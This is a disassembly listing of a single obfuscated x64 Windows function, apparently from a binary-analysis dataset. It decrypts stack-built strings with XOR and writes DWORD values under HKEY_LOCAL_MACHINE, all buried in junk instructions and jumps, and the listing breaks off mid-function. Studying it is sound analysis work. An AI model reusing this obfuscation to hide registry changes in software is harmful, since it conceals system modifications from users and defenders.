Function at 0x1403f78f0
Capabilities:
Set registry value

Disassembly:
push r15
push r14
btc r15w, ax
test al, dh
movzx r15d, r9w
push r13
shl ax, cl
push r12
push rsi
inc esi
add r12b, 0xaa
bt r15d, 0xf
push rdi
btc edi, 0x4e
ror ah, 0x98
bswap si
push rbp
sal r12b, cl
push rbx
shl r15w, 0x7b
sub rsp, 0x2f8
bswap ebx
movsx bp, dl
setno bl
movabs rax, 0xe009ec3224c8fd6e
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x40], rax
movabs rax, 0x2204bcb80ebea5a3
cmove di, dx
mov r13d, ebp
bswap rdi
mov qword [rsp + 0x2d8], rax
xchg ebx, esi
bswap bp
movsx bx, r8b
mov qword [rsp + 0x48], rax
mov r13w, r15w
movzx bx, ch
movabs rax, 0xfbc9f38de01f2fa2
movzx esi, si
seta r13b
mov qword [rsp + 0x2d0], rax
mov qword [rsp + 0x50], rax
movsx ax, r11b
movabs rax, 0x17a75ff95317a686
movsxd rbp, r11d
bswap bx
mov qword [rsp + 0x2c8], rax
movzx bx, r14b
movsx r12d, dx
mov qword [rsp + 0x58], rax
not bh
movsx r15, r9w
cbw
movabs rax, 0xfd99d5578f55fa6f
mov qword [rsp + 0x2c0], rax
movsxd r14, ebp
mov qword [rsp + 0x60], rax
cbw
movsx si, r9b
cmovne r12d, ecx
movabs rax, 0x4b3964fdcd447246
movsx r13w, bpl
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x68], rax
xchg rbp, r15
movsx ebp, r10w
cdqe
movabs rax, 0xee88324679eb2227
movzx rsi, di
mov qword [rsp + 0x2b0], rax
bswap si
mov r14b, 0xa5
cmova r13d, esi
mov qword [rsp + 0x70], rax
xchg r12d, eax
movabs rax, 0x6d7346ad6d4ffefa
bswap r15
sete bh
movzx r15d, r11w
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x78], rax
movsxd r13, esi
movabs rax, 0xd093683aef376a76
movsx di, dl
mov qword [rsp + 0x2a0], rax
not r13b
mov qword [rsp + 0x80], rax
xchg r14w, r12w
movabs rax, 0xa80f93e9d32b8c6f
movsx r15, r11w
mov qword [rsp + 0x298], rax
movzx r13d, cx
jmp 0x1403f7ab0
mov qword [rsp + 0x88], rax
not r13b
cmovp r13w, sp
xchg r13b, al
movabs rax, 0x33e730243394033e
xchg sil, r12b
movzx r14, r13w
movsxd rbp, edi
mov qword [rsp + 0x290], rax
xchg bh, bh
movsxd r13, r10d
cmovbe rdi, r15
mov qword [rsp + 0x90], rax
movsx rbx, ax
movsx di, r15b
movabs rax, 0xe7e3977e114e6703
mov qword [rsp + 0x288], rax
movzx r12, di
mov sil, bl
mov qword [rsp + 0x98], rax
not bpl
cwde
movzx si, dl
movabs rax, 0xb0b65ec58a603c8
jmp 0x1403f7b31
mov qword [rsp + 0x280], rax
jmp 0x1403f7b46
mov qword [rsp + 0xa0], rax
movsxd rbp, eax
movabs rax, 0x6708be65ca8156d7
movsx ebx, si
mov r12b, 0xb7
mov qword [rsp + 0x278], rax
movsxd r12, r14d
cmovl ebx, r8d
mov qword [rsp + 0xa8], rax
movsx r13w, al
movabs rax, 0x46a7044da5524090
bswap si
movsx r14, r12w
mov qword [rsp + 0x270], rax
not edi
movzx r12, ax
mov qword [rsp + 0xb0], rax
cdqe
cbw
sete bpl
movabs rax, 0x4b8cb541ca050f46
movsx rbx, bx
mov qword [rsp + 0x268], rax
movsx r15, bp
cmovle rbx, r9
mov qword [rsp + 0xb8], rax
movzx rdi, sp
jmp 0x1403f7bdb
movabs rax, 0xe627ab41184af921
movzx bp, r12b
jmp 0x1403f7bf2
mov qword [rsp + 0x260], rax
cmova esi, esi
jmp 0x1403f7c02
mov qword [rsp + 0xc0], rax
cbw
movzx r12, bp
movsx r14, si
movabs rax, 0x34c77b6e31b9a
mov qword [rsp + 0x258], rax
setl r15b
xchg r14d, edi
mov qword [rsp + 0xc8], rax
lahf
movsx rax, r10w
mov r12w, 0x2725
movabs rax, 0xd8cf4ec0049852bb
mov r13b, r9b
bswap r12d
jmp 0x1403f7c54
mov qword [rsp + 0xd0], rax
movsx di, sil
cmova bx, r8w
movabs rax, 0xa5eac9844f8ea419
mov qword [rsp + 0xd8], rax
movzx r12w, al
movsx r15d, r14w
mov qword [rsp + 0x30], 0
movzx rdi, ax
movsxd rdi, r13d
mov dword [rsp + 0x3c], 0
movsxd r15, eax
movsx di, r9b
movabs rbp, 0x2eb490333e21dae3
jmp 0x1403f7cb5
mov qword [rsp + 0xe0], rbp
lahf
not ax
movzx rax, r8w
movabs r14, 0x28903e48668cb956
xchg rbx, rax
movzx esi, r10w
movzx r12, dx
mov qword [rsp + 0xe8], r14
movzx esi, r12w
cbw
movabs r15, 0xe05dec612491fd3d
lahf
jmp 0x1403f7cfa
mov qword [rsp + 0x100], r15
xchg sil, al
movzx si, r8b
not r12w
movabs r12, 0x2247bce40ef3a5e6
not ah
lahf
mov qword [rsp + 0x108], r12
movabs rsi, 0xfbacf3ffe06d2fd7
mov qword [rsp + 0x110], rsi
movzx r13, cx
movsx ax, r12b
cmovge ebx, r11d
movabs rdi, 0x17c85fba5363a6e8
bswap r13
lahf
jmp 0x1403f7d55
mov qword [rsp + 0x118], rdi
jmp 0x1403f7d66
movabs rax, 0xfdf6d5258f21fa01
mov qword [rsp + 0x120], rax
cmovns r13d, ecx
movsx bx, r14b
mov rbx, rax
jmp 0x1403f7d89
movabs rax, 0x4b4d6498cd17722a
mov qword [rsp + 0x2f0], rax
seto r13b
movzx r13, ax
cmovno r13w, bx
mov qword [rsp + 0x128], rax
cwde
mov r13w, 0x163f
movabs rax, 0xeefa322379b8227b
movsxd r13, edx
not r13b
movsx r13d, cx
mov qword [rsp + 0x250], rax
movsx r13w, r12b
movsxd r13, esi
mov r13w, 0x51d9
mov qword [rsp + 0x130], rax
movsx ax, r9b
movabs rax, 0x6d1646ce6d26fe8c
mov qword [rsp + 0x248], rax
mov r13d, 0x1c8a2dfb
xchg r13b, r13b
movsx r13, si
mov qword [rsp + 0x138], rax
movabs rax, 0xd0fb6869ef6b6a05
mov qword [rsp + 0x240], rax
movsx r13, r8w
mov qword [rsp + 0x140], rax
movabs rax, 0xa86b938cd3598c0e
movsx r13, r9w
mov qword [rsp + 0x238], rax
movzx r13, r15w
mov qword [rsp + 0x148], rax
movabs rax, 0x3382304733f7037f
movsx r13, r10w
setge r13b
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x150], rax
movzx rax, r10w
nop
movabs rax, 0xe7b39722113d6770
mov qword [rsp + 0x228], rax
jmp 0x1403f7e94
mov qword [rsp + 0x158], rax
movsxd r13, esp
movabs rax, 0xb66658d58d403a9
movzx r13d, r10w
mov qword [rsp + 0x220], rax
cmovne r13w, sp
setns r13b
mov qword [rsp + 0x160], rax
mov r13w, si
not ax
lahf
movabs rax, 0x677abe00caf556b2
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x168], rax
movzx ax, r12b
mov al, 0x55
cbw
movabs rax, 0x46ce040ba50e40e3
cmova r13w, r12w
mov qword [rsp + 0x210], rax
movsxd r13, edi
movzx r13w, r14b
movsx r13w, r11b
mov qword [rsp + 0x170], rax
cbw
movzx ax, bl
movabs rax, 0x4bedb536ca600f34
mov qword [rsp + 0x208], rax
movzx r13, dx
mov qword [rsp + 0x178], rax
mov r13d, r15d
movzx r13d, r11w
movabs rax, 0xe648ab111826f94d
jmp 0x1403f7f57
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x180], rax
movabs rax, 0x7a4c14b68a1bf6
movsx r13, ax
not r13w
movzx r13d, r13w
mov qword [rsp + 0x1f8], rax
movsxd r13, r14d
xchg r13w, r13w
not r13b
mov qword [rsp + 0x188], rax
movabs rax, 0xd8a24eaf04dc52e7
not r13b
movsxd r13, r14d
mov qword [rsp + 0x1f0], rax
movsx r13w, bl
mov qword [rsp + 0x190], rax
movzx ax, bh
movabs rax, 0xa5bac9ea4fe7a478
movzx r13d, r8w
movsx r13w, r13b
xchg r13b, r13b
mov qword [rsp + 0x1e8], rax
movsx r13, r15w
movzx r13, r14w
mov r13w, 0x7b0
mov qword [rsp + 0x198], rax
movabs rax, 0x2edd90553e4eda91
jmp 0x1403f8002
mov qword [rsp + 0x1e0], rax
mov r13w, sp
bswap r13w
mov qword [rsp + 0x1a0], rax
mov al, r14b
bswap r13w
cwde
movabs rax, 0x28903e4866e9b93a
mov qword [rsp + 0x1d8], rax
movsxd r13, r9d
mov qword [rsp + 0x1a8], rax
movsx rax, r8w
movsxd rax, r13d
mov ax, 0x45fa
lea r13, [rsp + 0x100]
cdqe
mov rax, r13
jmp 0x1403f805c
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403f8066
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1403f8081
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x1403f808b
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [rsp + 0x70]
jmp 0x1403f809e
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x1403f80ac
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403f80b9
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403f80ca
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403f80d7
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403f80e8
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403f80f5
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403f8106
movaps xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403f8127
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403f8152
movaps xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
cmova dx, bp
lea rdx, [rsp + 0x40]
movsx r8w, r13b
xchg cl, r8b
not r8b
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000002
jmp 0x1403f818e
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
jmp 0x1403f81a3
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x40], rax
movsx rax, r13w
movabs rax, 0x222ebca20e96a58a
jmp 0x1403f81c3
mov qword [rsp + 0x1c8], rax
jmp 0x1403f81d0
mov qword [rsp + 0x48], rax
movabs rax, 0xfbcdf388e0082fa5
mov qword [rsp + 0x2e8], rax
jmp 0x1403f81ec
mov qword [rsp + 0x50], rax
cbw
movzx ax, r10b
xchg ah, al
movabs rax, 0x17c85fba530fa684
jmp 0x1403f8209
mov qword [rsp + 0x1c0], rax
jmp 0x1403f8216
mov qword [rsp + 0x58], rax
not eax
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
movsxd rax, r11d
setno ah
movzx ax, r11b
mov qword [rsp + 0x110], rsi
mov al, r13b
sete ah
cmovnp ax, bp
mov qword [rsp + 0x118], rdi
jmp 0x1403f8258
mov rax, r13
jmp 0x1403f8260
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403f8272
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403f827c
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
cdqe
movzx r9w, cl
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
cwd
mov qword [rsp + 0x20], rax
shl r9w, cl
cmovbe edx, r11d
inc r9b
mov dword [rsp + 0x28], 4
shr r9d, 9
bswap r9w
lea rdx, [rsp + 0x40]
cmc
sub r8d, r8d
movsx r9w, bl
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403f82dc
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403f82ef
mov qword [rsp + 0x40], rax
cbw
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x48], rax
bswap ax
mov rax, qword [rsp + 0x2d0]
jmp 0x1403f8313
mov qword [rsp + 0x50], rax
nop
cbw
cmovle rax, rcx
mov rax, qword [rsp + 0x2c8]
jmp 0x1403f832d
mov qword [rsp + 0x58], rax
mov ax, 0x6d1b
mov eax, ebp
bswap rax
mov rax, qword [rsp + 0x2c0]
jmp 0x1403f8348
mov qword [rsp + 0x60], rax
movsx eax, ax
mov ax, 0x4154
setne al
mov rax, qword [rsp + 0x2b8]
jmp 0x1403f8364
mov qword [rsp + 0x68], rax
cmovbe ax, dx
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x70], rax
mov ah, 0xe8
movzx ax, dl
movzx eax, r11w
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x2a0]
jmp 0x1403f839f
mov qword [rsp + 0x80], rax
movsx eax, r9w
mov eax, eax
cmovns ax, bx
mov rax, qword [rsp + 0x298]
jmp 0x1403f83be
mov qword [rsp + 0x88], rax
movzx rax, r9w
not ah
mov rax, qword [rsp + 0x290]
jmp 0x1403f83d9
mov qword [rsp + 0x90], rax
movzx ax, bpl
movzx rax, r11w
cdqe
mov rax, qword [rsp + 0x288]
jmp 0x1403f83f9
mov qword [rsp + 0x98], rax
movsx rax, r15w
movzx rax, r12w
mov rax, qword [rsp + 0x280]
jmp 0x1403f8416
mov qword [rsp + 0xa0], rax
nop
mov rax, qword [rsp + 0x278]
jmp 0x1403f842d
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x270]
jmp 0x1403f8442
mov qword [rsp + 0xb0], rax
setge ah
cwde
movsx ax, ah
mov rax, qword [rsp + 0x268]
jmp 0x1403f845f
mov qword [rsp + 0xb8], rax
cbw
not al
movzx rax, r8w
mov rax, qword [rsp + 0x260]
jmp 0x1403f847c
mov qword [rsp + 0xc0], rax
movsxd rax, r8d
not rax
cmovnp ax, si
mov rax, qword [rsp + 0x258]
jmp 0x1403f849b
mov qword [rsp + 0xc8], rax
cwde
movabs rax, 0xd8c04eda048c52bb
jmp 0x1403f84b3
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5eac9894f8ea414
mov qword [rsp + 0xd8], rax
movsx eax, bx
lahf
mov qword [rsp + 0xe0], rbp
mov qword [rsp + 0xe8], r14
movsx rbp, r8w
lahf
movsx eax, dx
mov qword [rsp + 0x100], r15
jmp 0x1403f84fa
mov qword [rsp + 0x108], r12
movzx ax, r14b
setg bpl
mov qword [rsp + 0x110], rsi
bswap ax
mov qword [rsp + 0x118], rdi
mov rbp, rbx
cmovae r14, rcx
mov qword [rsp + 0x120], rbx
mov r14, qword [rsp + 0x2f0]
mov al, 0x5b
mov qword [rsp + 0x128], r14
mov rax, r11
setp al
mov rax, qword [rsp + 0x250]
jmp 0x1403f8552
mov qword [rsp + 0x130], rax
movzx rax, r8w
movsx ax, r13b
cbw
mov rax, qword [rsp + 0x248]
jmp 0x1403f8572
mov qword [rsp + 0x138], rax
mov ax, r9w
mov rax, qword [rsp + 0x240]
jmp 0x1403f858b
mov qword [rsp + 0x140], rax
mov al, 0xa5
bswap rax
mov rax, qword [rsp + 0x238]
jmp 0x1403f85a5
mov qword [rsp + 0x148], rax
mov eax, 0x1f72414f
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x158], rax
movzx eax, r13w
bswap ax
cbw
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x160], rax
cmovge ax, r10w
mov rax, qword [rsp + 0x218]
jmp 0x1403f85fd
mov qword [rsp + 0x168], rax
movsx eax, ax
movzx ax, al
mov rax, qword [rsp + 0x210]
jmp 0x1403f8619
mov qword [rsp + 0x170], rax
movsx eax, r13w
movsx ax, sil
mov rax, qword [rsp + 0x208]
jmp 0x1403f8637
mov qword [rsp + 0x178], rax
movzx ax, al
mov rax, qword [rsp + 0x200]
jmp 0x1403f8650
mov qword [rsp + 0x180], rax
movzx rax, r12w
cdqe
setno ah
mov rax, qword [rsp + 0x1f8]
jmp 0x1403f866e
mov qword [rsp + 0x188], rax
mov eax, eax
mov rax, qword [rsp + 0x1f0]
jmp 0x1403f8685
mov qword [rsp + 0x190], rax
not ax
movsxd rax, edi
mov rax, qword [rsp + 0x1e8]
jmp 0x1403f86a0
mov qword [rsp + 0x198], rax
movsxd rax, r8d
cbw
movzx ax, r8b
mov rax, qword [rsp + 0x1e0]
jmp 0x1403f86bf
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1d8]
jmp 0x1403f86d4
mov qword [rsp + 0x1a8], rax
lahf
mov rax, r13
jmp 0x1403f86e5
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x1403f86f4
movaps xmm2, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x1403f8706
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403f8710
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x1403f871e
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403f873d
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403f874e
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403f875b
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403f8774
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403f8785
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403f8792
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403f87a3
movaps xmm0, xmmword [rsp + 0xc0]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403f87bf
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403f87cc
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403f87e8
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
movzx r8, r14w
not ch
lea rdx, [rsp + 0x40]
setb cl
movsx rcx, r10w
mov rcx, 0xffffffff80000002
movzx r8, r11w
lea r8, [rsp + 0x30]
jmp 0x1403f881e
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
movzx bx, sil
mov qword [rsp + 0x40], rax
mov bl, sil
movsx bx, spl
movsx eax, r15w
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x48], rax
movsxd rbx, r10d
mov rax, 0x2b443e1
setne ah
mov rbx, qword [rsp + 0x2e8]
movsx ax, bl
mov qword [rsp + 0x50], rbx
movzx rax, r14w
mov rax, qword [rsp + 0x1c0]
jmp 0x1403f887e
mov qword [rsp + 0x58], rax
mov rax, r8
movsx rax, sp
bswap ax
mov qword [rsp + 0x100], r15
jmp 0x1403f889a
mov qword [rsp + 0x108], r12
movsx rax, dx
movsxd rax, ebx
mov qword [rsp + 0x110], rsi
movsx ax, r11b
mov qword [rsp + 0x118], rdi
cbw
mov rax, r13
jmp 0x1403f88c8
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403f88d2
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403f88df
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403f88e9
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
movzx cx, r9b
cmp r12w, r10w
xor r9b, 0xcc
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
setge dl
mov dword [rsp + 0x28], 4
rcr r9w, 0x1c
cmc
lea rdx, [rsp + 0x40]
btc r9d, 0xb9
sal r9, 0xfb
xor r8d, r8d
setne r9b
movsx r9w, r9b
mov r9d, 4
jmp 0x1403f8944
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x40], rax
movzx eax, dx
movsxd rax, r9d
mov rax, qword [rsp + 0x2d8]
jmp 0x1403f8975
mov qword [rsp + 0x48], rax
movsxd rax, esp
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
jmp 0x1403f898f
mov rax, qword [rsp + 0x2c8]
jmp 0x1403f899c
mov qword [rsp + 0x58], rax
bswap eax
mov rax, qword [rsp + 0x2c0]
jmp 0x1403f89b0
mov qword [rsp + 0x60], rax
cmovs ax, dx
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x68], rax
movzx ax, bl
jmp 0x1403f89d2
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x70], rax
movzx rax, r14w
xchg al, al
cmovg ax, dx
mov rax, qword [rsp + 0x2a8]
jmp 0x1403f89f6
mov qword [rsp + 0x78], rax
lahf
mov rax, qword [rsp + 0x2a0]
jmp 0x1403f8a09
mov qword [rsp + 0x80], rax
movsx ax, bl
mov rax, qword [rsp + 0x298]
jmp 0x1403f8a22
mov qword [rsp + 0x88], rax
lahf
cdqe
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x288]
jmp 0x1403f8a4a
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x280]
jmp 0x1403f8a5f
mov qword [rsp + 0xa0], rax
mov ah, 0x44
mov rax, qword [rsp + 0x278]
jmp 0x1403f8a77
mov qword [rsp + 0xa8], rax
seto al
movsx rax, sp
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0xb0], rax
nop
movsx ax, r11b
mov rax, qword [rsp + 0x268]
jmp 0x1403f8aaa
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x260]
jmp 0x1403f8abf
mov qword [rsp + 0xc0], rax
sete ah
mov rax, qword [rsp + 0x258]
jmp 0x1403f8ad7
mov qword [rsp + 0xc8], rax
movzx eax, bp
movabs rax, 0xd8c34edb048f52bb
jmp 0x1403f8af1
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5c8c98b4f83a416
mov qword [rsp + 0xd8], rax
movsx eax, sp
setp al
movsx ax, bh
movabs rax, 0x2eb290273e1edaf5
jmp 0x1403f8b24
mov qword [rsp + 0xe0], rax
movzx rax, r8w
movabs rax, 0x28f53e246680b95c
jmp 0x1403f8b3f
mov qword [rsp + 0xe8], rax
mov eax, edx
movsx eax, r12w
mov qword [rsp + 0x100], r15
movsx ax, bpl
lahf
cdqe
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
cwde
not al
mov qword [rsp + 0x118], rdi
mov rax, r15
mov qword [rsp + 0x120], rbp
mov qword [rsp + 0x128], r14
cwde
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x140], rax
mov ah, 0xca
setnp ah
jmp 0x1403f8bc7
mov rax, qword [rsp + 0x238]
jmp 0x1403f8bd4
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x150], rax
mov ax, 0x393c
cwde
mov rax, qword [rsp + 0x228]
jmp 0x1403f8bfe
mov qword [rsp + 0x158], rax
mov eax, 0x736363e2
not al
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x160], rax
jmp 0x1403f8c22
mov rax, qword [rsp + 0x218]
jmp 0x1403f8c2f
mov qword [rsp + 0x168], rax
movsx rax, di
seta al
movsx ax, bh
mov rax, qword [rsp + 0x210]
jmp 0x1403f8c4f
mov qword [rsp + 0x170], rax
movsx eax, r14w
movzx rax, sp
mov rax, qword [rsp + 0x208]
jmp 0x1403f8c6c
mov qword [rsp + 0x178], rax
movzx rax, r12w
movzx eax, sp
xchg al, ah
mov rax, qword [rsp + 0x200]
jmp 0x1403f8c8a
mov qword [rsp + 0x180], rax
cbw
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x188], rax
movzx eax, dx
mov rax, qword [rsp + 0x1f0]
jmp 0x1403f8cb4
mov qword [rsp + 0x190], rax
cbw
bswap eax
mov rax, qword [rsp + 0x1e8]
jmp 0x1403f8ccd
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x1e0]
jmp 0x1403f8ce2
mov qword [rsp + 0x1a0], rax
movsx rax, ax
cwde
lahf
mov rax, qword [rsp + 0x1d8]
jmp 0x1403f8cfd
mov qword [rsp + 0x1a8], rax
lahf
cdqe
movzx eax, bx
movabs rax, 0xa1410f538a85c08b
jmp 0x1403f8d1a
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0x1b0], rax
setae al
movzx rax, r10w
lahf
movabs rax, 0x6078a8fe5539451c
jmp 0x1403f8d41
mov qword [rsp + 0xf8], rax
jmp 0x1403f8d4e
mov qword [rsp + 0x1b8], rax
cbw
seta al
mov rax, r13
jmp 0x1403f8d63
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403f8d6d
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x1403f8d7c